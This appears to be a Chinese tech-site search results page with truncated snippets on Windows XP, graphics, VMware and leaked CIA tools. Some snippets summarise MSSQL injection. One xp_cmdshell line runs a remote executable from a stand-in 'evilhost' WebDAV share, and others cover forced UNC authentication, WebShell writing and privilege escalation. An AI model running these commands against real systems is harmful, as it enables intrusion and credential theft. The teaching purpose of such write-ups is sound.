首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

【专业技术】GDI+基本用法简介

解决方案: 在Windows操作系统下,绝大多数具备图形界面的应用程序都离不开GDI,我们利用GDI所提供的众多函数就可以方便的在屏幕、打印机及其它输出设备上输出图形,文本等操作。...GDI+是Windows XP中的一个子系统,它主要负责在显示屏幕和打印设备输出有关信息,它是一组通过C++类实现的应用程序编程接口。...顾名思义,GDI+是以前版本GDI的继承者,出于兼容性考虑,Windows XP仍然支持以前版本的GDI,但是在开发新应用程序的时候,开发人员为了满足图形输出需要应该使用GDI+,因为GDI+对以前的Windows...版本中GDI进行了优化,并添加了许多新的功能。...比如抗锯齿、渐变画刷、样条函数、持久路径对象、变形矩阵对象、可伸缩区域、混合、更多图形格式支持等等。 利用GDI+画图有几乎固定的步骤,下面简单结束一下。

1.7K70

利用ExpressLane工具搜集FBI与NSA等机构的数据

,并将数据加密存储在特定移动设备的秘密分区中。...ExpressLane 主要有两个功能: CreatePartition:能让特工在目标系统中创建一个秘密分区,用于储存搜集到的信息(压缩格式或者加密模式)。 ?...ExitRamp:能让特工再次使用移动设备进入系统时获取存储在系统秘密分区中的信息。 ? CIA 提供的这个生物识别采集系统主要以 Cross Match 公司的一款产品为基础。...需要注意的是,泄露的文档日期是 2009 年,且用户手册主要针对的是 Windows XP 系统,目前尚不清楚 ExpressLane 是否还在使用,也不清楚有何改进。...文件服务器变成攻击主机,从而感染局域网内的其他主机(2017.6.1) Athena – 一个间谍软件框架,能够远程控制感染Windows主机,并且支持所有Windows操作系统,从Windows XP

1.2K130
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    使用 CSS Gradient 的缺陷实现噪点画面

    这个技巧依赖于 gradients 不利于抗锯齿的事实。当我们使用颜色强制停止渐变,我们就会得到这些锯齿边缘。...我在自己大部分的文章中提到它们,因为它们有些烦人,我们总要添加或者删除一些像素来解决这些问题: 代码片段 正如你看到的,第二个圆比第一个圆渲染得更好,因为渐变中的两种颜色之间有了 0.5% 的小差异。...而不是像第一个圆那样使用整数值的直接强制停止渲染。 下面这个例子,是使用 conic-gradient,结果看起来更加明显: 代码片段 当我做这些案例的时候,一个有趣的想法浮上脑海。...我使用 conic gradient 值,然后逐个减少它,使糟糕的锯齿效果更加糟糕。 代码片段 你看到最后一个是有多糟糕了?这是中间一个图的升级版,且没有任何地方是平滑的。...我们将它设置更小的值并全屏查看。 代码片段 我想你知道这是怎么回事。当我们在 gradient 中使用很小的数值来强制停止颜色渲染,我们在视觉上得到一个失真的画面。是的,噪点产生了。

    94520

    Windows XP源代码泄露,外媒从中发现隐藏Mac主题

    △ 泄露的Windows代码,图片来自Twitter用户@RoninDey 这是Windows XP代码第一次公开泄漏,泄漏文件声称,这些代码其实已秘密共享多年。...外媒The Verge确认了这份代码的真实性,微软表示正在调查此事。 源代码泄漏不太可能对Windows XP构成任何重大威胁,因为微软已经在2014年终止了对Windows XP的支持。...泄露的Mac主题 本次源代码还泄露一个被尘封近20年的“秘密”。...Whistler是Windows XP的开发代号。 最终,微软确定在XP使用了经典蓝色绿色为主的Luna主题。 ?...其实两家公司都有相互借鉴的方面,Windows受经典Mac OS的影响很大,苹果也借用了Windows的某些功能,尤其是在窗口、导航、控制面板以及浏览文件和文件夹等方面。

    66521

    好莱坞特工必备:维基解密公开CIA用来关闭摄像头监控的工具Dumbo

    每当我在电影中看到这样的场景,我都在询问自己:这是否发生在现实生活中? 相信我,至少中情局 CIA 的特工们确实是这样做的。...这款名为 Dumbo 的工具 - 它并非恶意软件,而是 Windows系统上的程序,特工们平常可以放在 USB 中携带。在需要使用的时候,可以将 USB 插入目标计算机并运行该程序。...需要系统权限 在整个操作过程中,USB设备必须保持在系统中 Dumbo 可以伪造 BSOD 错误来隐藏身份 Dumbo还有两个功能可以在32位和64位系统上引发“ 死亡蓝屏 ”,这样CIA的人员可以借此以系统错误的样子掩盖工具的运作...Dumbo支持的系统包括 32 位 Windows XP,Windows Vista,和更新版本的 Windows 操作系统;而 64位 Windows XP 或 Windows XP之前的系统并不能使用...因此,Dumbo文档中建议使用者在目标系统中禁用病毒防护软件,这样才能保障这款工具的正常运作。但执行此操作可能会被记录在系统日志中,可能导致目标计算机发出警报。

    1.5K30

    干货 | MSSQL注入和漏洞利用姿势总结

    Web 服务,我们借助通过 SQL Server 内置的存储过程、数据备份以及日志备份等功能,向 Web 目录内写入 WebShell。...master..xp_cmdshell 'whoami'; 本地特权提升 在 Windows Server 2008 R2 和 Windows 7 之前,安装的 SQL Server 默认使用本地系统帐户...相关利用方法演示如下,获取 SQL Server 权限后,通过 SharpAllowedToAct 在域内添加一个机器账户 PENTEST,并设置 PENTEST 到为当前机器帐户 WIN-MSSQL...在 SQL Server 中,如果一些涉及到文件操作的存储过程可控,我们可以尝试将其中的文件路径换成 UNC 路径,强制 SQL Server 向任意服务器发起身份认证。...0,'\\evilhost@80\webdav\test.txt','bak' EXEC master..xp_cmdshell '\\evilhost@80\webdav\test.exe' 在强制身份验证中

    6.7K20

    为拯救童年回忆,开发者决定采用古法编程:用Flash高清重制了一款游戏

    一个简单的帧动作。 最后,我们使用了一些技巧,我的导出器从每一帧读取 ActionScript 并应用大量正则表达式以尝试将其转换为 C++。...然后游戏根据屏幕的宽高比在它们之间进行插值,并使用插值矩形作为视图边界。只要所有重要的游戏元素都在这些矩形的交叉点内,并且它们的公共边界矩形不超出场景边缘,就可以很好地工作。...因此,我们的抗锯齿光栅化形状使用一种 alpha 定义,而我们的 Flash 导出的 alpha 透明度、渐变和颜色变换使用另一种定义。但是我们的渲染管道中只有一个 alpha 通道。...我有一个叫做 Zone 的东西,它只是一个分配器,将其所有内存分配到一个固定大小的块中。所有场景节点都分配在当前区域内。为了实现保存和恢复,我只需要两个区域,活动区域和一个单独的「保存状态区域」。...音乐 在 BGM 方面,我使用自己硬盘里的内容,并额外制作了一些音乐,为每款游戏制作了快速的环境配乐。有一次在日本度假时,我无缘无故地在山顶上进行了一次野外录音,能够将其用于某些事情真是太好了。

    49810

    VMWare 虚拟机使用技巧

    打开虚拟机的设置画面 桥接模式:(bridged模式)这种模式类似于,局域网中的一台独立的主机,你需要配置IP地址和子网掩码且需要和物理机(宿主机)在一个网段,这样才能和物理机通信,借此可以实现访问路由而上网...另外多说一句,Windows的系统启动磁盘必须为MBR类型的硬盘,如果在装机过程中遇到故障,需要进去PE系统,修改磁盘类型,重建主引导记录才能解决。...OK添加硬盘完毕 4、网络适配器 在虚拟机设置里面创建的一个网络适配器意味着在虚拟机操作系统内就会有一个本地连接的网卡,增加网络适配器意味着对虚拟机又增加一个网卡,这跟我们使用物理机增加网卡是一样的道理...其实VMWareWorkstation为用户提供了直接挂载USB设备功能 首先,必须确认你的宿主机(物理机)的操作系统内是否开启USB挂载服务,这是VMWare软件在安装时自动安装的一个服务,但是可能会由于杀毒软件或者一些其他系统优化软件会将该服务禁止...技巧1: 使用宿主机连接虚拟机远程桌面,完成文件的复制粘贴 技巧2: 使用Windows的文件共享功能 技巧3: 使用Windows网络磁盘映射功能 技巧4: 使用将文件制作为ISO格式,挂载进DVD光驱方式实现

    1.8K20

    mac键位的键盘_键盘键位图高清126键

    mac和Windows在键盘上还是有一些差距的,在习惯了Windows的键位之后还是很难第一时间转换到mac的键位上,为大家整理了一下mac的键位分布,和常用的快捷键。...Command键(⌘) Command键是mac独有的一个按键,大多数的快捷组合键都是和它配合使用,相当于Windows下的Ctrl键的功能,但是在Windows键位分布的键盘上可用win键代替。...Option键(⌥) 这个功能键在Mac上的使用简直不能再多,OS X 这个漂亮的操作系统中,隐藏着许许多多的「小秘密」——有的需要通过巧妙的设置去发现,有的需要极富 Geek 范儿的「命令行」去完成...4 截取所选屏幕区域到剪贴板,或按空格键仅捕捉一个窗口 在应用程序中: Command-Option-esc 打开强制退出窗口 Command-H 隐藏(Hide)当前正在运行的应用程序窗口 Command-Option-H...将文件移至废纸篓 Command-Shift-Delete 清倒废纸篓 空格键 快速查看选中的文件,也就是预览功能 在浏览器中: Control-Tab 转向下一个标签页 Command-L 光标直接跳至地址栏

    3K20

    微软发布Windows Vista Tips and Tricks网站

    我们知道,微软宣布于10月25日发布RTM版Vista.为了让Windows Vista更好的为用户服务,微软推出该网站提供了一些Vista使用提示和技巧信息及工具,其中主要的内容还是以介绍Vista的使用...一年后,微软发布了Windows XP “N”版本。 接着,2001年受到韩国最大的ISP的投诉,韩国裁定微软捆绑在XP中的Windows Messenger违反了反托拉斯法。...这些公司有两个主要的抱怨。首先,Windows Vista x64 中的Patch Guard特性可以阻止黑客、安全公司以及微软自己,它来自于实时运行的内核变化。...安全公司们想要关闭安全中心并使用自己的管理中心替代它。而微软想要安全工具与安全中心整合,因为竞争的管理中心经常不会提供安全中心的所有功能,并且如果一个操作系统中有多个安全指向会使用户混淆。...“在安全公司提供警告功能时,这些API将会抑制安全中心的警告,”Snapp说,“但是,只有在有另一个控制台做着类似工作和警告用户时才如此。”  微软也做了第三个改变以平抚安全公司。

    99690

    巧妙利用剪切进行强制卸载

    虽然现在网络上有众多的强制卸载软件,用过几个像冰刃、网吧幽灵等软件进行过强制卸载,对大部分软件还是很管用的,不过有时候就遇到很难卸载的, 用这些软件都卸载不了。...在这里呢,经过我一段时间的琢磨, 不小心发现了一个Windows(用xp试验的可行)自带的小技巧,在你用各种卸载软件都不行的情况下,你可以试用一下,或者直接不用卸载软件直接用这个小技巧就可以了。...就是巧妙的利用剪切来对一些顽固软件进行强制卸载,对于一个普通的经过注册安装的软件程序,可以通过在快捷方式上右击然后点属性->查找目标,找到要卸载软件的位置进行卸载删除,有部分顽固软件会无法删除, 此时就可以巧妙的用剪切了...,找到要删除的软件定位,然后剩下的操作就和普通软件一样了!...简单吧,不过挺实用的,我现在基本上没有卸载不了的软件了。 教程结束,实在卸载不了的,请重启电脑关闭进程卸载!

    92150

    【好文推荐】各种提权姿势总结

    ,但是添加不到管理组,有可能是administrators组改名了,使用命令net user administrator查看管理组的名字 8.有的cmd执行很变态,asp马里,cmd路径填上面,下面填:...而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。...开了3306端口,有的管理员会把默认端口改掉.另一个判断方法就是网站是否支持php,一般支持的话都是用mysql数据库的. 如何查看root密码?...我的电脑(右键)–资源管理器中–点击“工具”按钮,选择“文件夹选项”,切换到“查看”标签,去掉“使用简单文件共享(推荐)”前面的钩,这一步是为 了让文件的属性菜单中显示“安全”标签,然后进入“c:\windows...windows2003中的远程桌面功能非常方便,但是初始设置只允许2个用户同时登陆,有些时候因为我在公司连接登陆后断开,同事在家里用其他用户登陆后断开, 当我再进行连接的时候,总是报错“终端服务超过最大连接数

    2.3K00

    U盘替代光盘USB启动PE安装Xp系统的101%成功经验

    因为:   (1)速度快   (2)可以不用光驱,适用于没有光驱的笔记本电脑(本人正是受华硕eeePc的驱动,才作此尝试的)   (3)因为可以在pe中可以使用虚拟光驱(见后面图片1),可以不解开iso...还因为硬盘启动PE后,格式化C盘(如果无法格式化C盘,是因为op.wim文件被使用,可以将虚拟光驱软件vdm拷出,再运行桌面卸载外置工具功能后,便可以正常格式化)再安装Windows的方法相对简单,通过虚拟光驱加载...C盘为空盘,安装PE的方法,请用老毛桃070911版提供的硬盘安装功能或老九提供的PE安装工具包中Dos下安装方法。   ...一个结论:   windows xp在PE下安装时,如从光驱安装,只拷贝必要文件就开始下一阶段的安装,而在本地硬盘解开安装时,安装程序就会自动一次性拷入全部文件(不知微软为何区别对待?)。...于是重新开始A方案的探索,终于发现了秘密。在输入序列号后的下一页上,有个高级选项,发现两个参数复选项(见后面图片2、3、4),一个为拷入全部文件,一个为可以选择特定磁盘。

    2.6K20

    【好文推荐】各种提权姿势总结

    ,但是添加不到管理组,有可能是administrators组改名了,使用命令net user administrator查看管理组的名字 8.有的cmd执行很变态,asp马里,cmd路径填上面,下面填:...而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。...开了3306端口,有的管理员会把默认端口改掉.另一个判断方法就是网站是否支持php,一般支持的话都是用mysql数据库的. 如何查看root密码?...我的电脑(右键)–资源管理器中–点击“工具”按钮,选择“文件夹选项”,切换到“查看”标签,去掉“使用简单文件共享(推荐)”前面的钩,这一步是为 了让文件的属性菜单中显示“安全”标签,然后进入“c:\windows...windows2003中的远程桌面功能非常方便,但是初始设置只允许2个用户同时登陆,有些时候因为我在公司连接登陆后断开,同事在家里用其他用户登陆后断开, 当我再进行连接的时候,总是报错“终端服务超过最大连接数

    2.4K11

    小达同学软件测试第五讲-测试技术与应用(完结)

    软件环境包含: Windows 98 SE,Windows 2000 Professional, Windows 2000 Server,Windows XP Home Edition, Windows...错误测试:为了发现软件中不符合软件需求的事情,做了用户不满意的期望事情。在进行错误处理测试中可能发现的问题不会被修复。 如何破坏测试环境: 比如应用程序异常中断,或者断开电源,关闭计算机等。...要对界面的美观效果进行合理化调整,界面的复杂性,会导致用户的使用效果降低。 性能测试: 性能测试有,强度测试,破坏性测试等等。...升级测试: 是的,升级也要进行测试:软件升级测试,软件运行环境升级测试,这个在测试过程中也是要的。 兼容性测试: 兼容性测试,兼容一看就知道,看系统软件配置和硬件是否兼容等情况。...测试技巧方法: 技巧方法就是在测试前向程序中插入缺陷,为了可以估计软件中还有多少缺陷,这里插入缺陷测试出来的错误有一个算法。可以去了解一下。

    44620

    windows 7 安装及.net开发环境搭建

    明天是win7中文版的正式发售日期,作为MS的粉丝,特地在今天到网上down了一个D版(是旗舰版哦!)...体验了一把,基于xp/vista在web程序员心中的恶劣印象(主要是xp的IIS不能新建站点,只能建虚拟目录这一点让我很反感;vista则太难用,简直鸡肋),本来对win7也没抱多大希望,结果试了一天发现比我想象中的要好...,以下是试用手记(仅做学习交流之用,建议大家有银子的话,还是支持正版) 1.先到xunlei上down一个JUNJUN猫的所谓旗舰版win7回来 2.在本机安装了一个vmware,把win7安装到虚拟机中...4.接下来是如何安装IIS的问题,进入控制面板-->程序与功能-->点击左侧的"打开或关闭Windows功能"-->把"Internet信息服务"给勾上,点击"确定"后开始安装,顺便说一句:win7上的...5.然后安装vs.net2008,这里有点技巧:由于win7里无法象xp/2003那样先安装90天体验版vs.net2008,然后在卸载时输入正版序列号升级为正式版!

    1.8K50

    活久见,Windows系统源码竟然真的泄露了!

    不过,源代码中还包含和“永恒之蓝”漏洞结合的BUG,可能会对目前仍在使用Windows XP 系统的用户不利。 此次泄露的源代码,还展示了微软当初打造Windows XP更多不为人知的故事。...从2001年发售到2014年微软宣布停止支持,Windows XP成为全球使用人数最多的一个操作系统,在其最辉煌的2008年,Windows XP的市场占有量接近了80%。...尽管它已经停止支持多年,但世界上仍然有很多人在使用这个系统。 而且,Windows 10中也有可能仍使用其中的一些代码。...但也有专业人员称,这次泄露事件对于安全性的影响较为有限,不用过度担心。因为对于黑客来说,花费精力在一个已经被放弃多年的软件中寻找“商机”,显然很不划算。...但是,社交媒体上仍然有很多人呼吁那些仍然在使用XP的用户,及时升级到最新的Windows 10。 目前,最早散播此漏洞的4chan论坛帖子已被归档,暂不允许回复。

    2.1K30

    CIA 新一波工具AngelFire: 针对Windows系统的永久恶意框架

    与此前的 Grasshopper、ELSA、 After Midnight 类似,AngelFire 也是一款永久性框架,可以在目标系统(Windows XP 与 Windows 7)中加载并执行定制的注入程序...Keystone — Wolfcreek 的一部分,利用 DLL 注入功能,直接在系统内存中执行恶意用户应用,无需将恶意程序存储进文件系统。...BadMFS — 在活动分区结尾(新版本BadMFS中会使用硬盘中的某个文件)创建隐藏的文件系统,存储 Wolfcreek 启动的所有驱动程序和植入程序;所有这些文件都经过了混淆和加密避免通过字符串和PE...其他Vault 7 CIA工具 自今年3月7日开始,维基解密开始使用一个新的代号 Vault 7 作为美国中情局(CIA)的敏感信息披露计划。...文件服务器变成攻击主机,从而感染局域网内的其他主机(2017.6.1) Athena – 一个间谍软件框架,能够远程控制感染Windows主机,并且支持所有Windows操作系统,从Windows XP

    1.1K40

    网安-演示格式化字符串溢出漏洞实验

    实验环境Microsoft Visual C++ 6.0Windows XP3....本次实验将会提供一个具有格式化漏洞的程序,我们的任务是制定一个计划来探索这些漏洞。除了攻击这些漏洞,我们将会探索如何制定一种策略来防御这种攻击,并且评估这种策略是否起作用,并解释其中的原因。4....实验内容及步骤1、下面的程序要求用户提供输入数据,这些数据将会被保存在 user_input 缓冲区 buffer 中,程序将会使用 printf 打出缓冲区 buffer 中的数据,这个程序是一个 set-UID...不幸地是,这个程序在 printf 打出 user_input 数据的过程中存在一个格式化漏洞。2、我们将会探索这些漏洞,并检验一下可以造成多大的危害。...程序有两个秘密的值存在内存中,我们对这些秘密的值感兴趣。但是这些秘密值对我们来说是未知的,不可能通过读二进制代码来获取它们(实验中为了简单起见,硬编码这些秘密值为 0x44 和 0x55)。

    25400
    领券